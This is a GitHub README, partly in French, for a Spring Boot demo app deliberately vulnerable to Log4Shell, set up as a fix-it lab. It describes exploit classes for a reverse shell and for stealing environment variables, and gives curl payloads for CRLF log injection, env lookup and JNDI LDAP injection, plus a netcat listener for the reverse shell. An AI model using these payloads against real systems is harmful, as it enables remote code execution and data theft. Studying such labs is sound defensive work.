Skip to content

Latest commit

 

History

History
111 lines (75 loc) · 3.22 KB

File metadata and controls

111 lines (75 loc) · 3.22 KB

Log Injection with Spring Boot and Log4J2

Description

Exemple d'application java vulnérable à l'attaque Log4Shell.

Le repo contient :

  • Une application Java DemoApplication vulnérable (plus particulièrement la classe HelloController.java)
  • Des fichiers (evil/ldap/) permettant d'attaquer l'application DemoApplication :
    • marshalsec*.jar : permet de simuler un serveur LDAP qui sera utilisé pour injecter le code malveillant dans l'application
    • plusieurs classes de code malveillant (à compiler), permettant chacune une attaque différente :
      • OpenKeyPassExploit.java : attaque permettant de lancer l'application OpenKeyPass (il faut donc qu'elle soit installée sur le poste)
      • ReverseShellExploit.java : attaque permettant de lancer un reverse shell
      • StealEnvUserNameExploit.java : attaque permettant de récupérer les variables d'environnement de l'utilisateur
    • server.py : serveur python multi-threads permettant de lancer un serveur LDAP (Marshalsec) ainsi qu'un serveur web (pour héberger les classes malveillantes : OpenKeyPassExploit, ReverseShellExploit ou StealEnvUserNameExploit)
  • Un serveur python receiver/server.py permettant de recevoir les informations sur le port 8001 (par exemple pour l'attaque StealEnvUserNameExploit), mais peut être remplacé par une commande netcat.

Usage

Testé avec Java 17.

  • Run
./gradlew bootRun
  • Request
curl http://localhost:8080/\?name\=Frodon

Hack

Using CRLF injection

curl http://localhost:8080/\?name\=Marty%0d%0a2023-09-08%2010%3A40%3A01.108%20DEBUG%202175773%20---%20%5Bnio-8080-exec-1%5D%20n.e.d.HelloController%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3A%20You%20have%20been%20pwed%0A

Using date lookup

Date lookup ${date:yyyyMMdd-HHmmss}:

curl http://localhost:8080/\?name\=%24%7Bdate%3AyyyyMMdd-HHmmss%7D

Using env lookup

Env lookup ${env:USER}:

curl http://localhost:8080/\?name\=%24%7Benv%3AUSER%7D

Using JNDI Injection + LDAP (OpenKeyPassExploit)

  • Run the evil ldap server
javac evil/ldap/OpenKeyPassExploit.java
python evil/ldap/server.py OpenKeyPassExploit
  • JNDI LDAP lookup
curl http://localhost:8080/\?name\=%24%7Bjndi%3Aldap%3A%2F%2Flocalhost%3A1389%2FanyString%7D

Using JNDI Injection + LDAP (StealEnvUserNameExploit)

  • Run the evil ldap & receiver server
javac evil/ldap/StealEnvUserNameExploit.java
python evil/ldap/server.py StealEnvUserNameExploit
python evil/receiver/server.py # ou : nc -lv 8001
  • JNDI LDAP lookup
curl http://localhost:8080/\?name\=%24%7Bjndi%3Aldap%3A%2F%2Flocalhost%3A1389%2FanyString%7D

Using JNDI Injection + LDAP (ReverseShellExploit)

  • Run the evil ldap
javac evil/ldap/ReverseShellExploit.java
python evil/ldap/server.py ReverseShellExploit
  • Listening for incoming (evil)
nc -lv 9001
  • JNDI LDAP lookup
curl http://localhost:8080/\?name\=%24%7Bjndi%3Aldap%3A%2F%2Flocalhost%3A1389%2FanyString%7D

Fix

Try to fix this app! Don't disable JNDI Lookup, this could be usefull.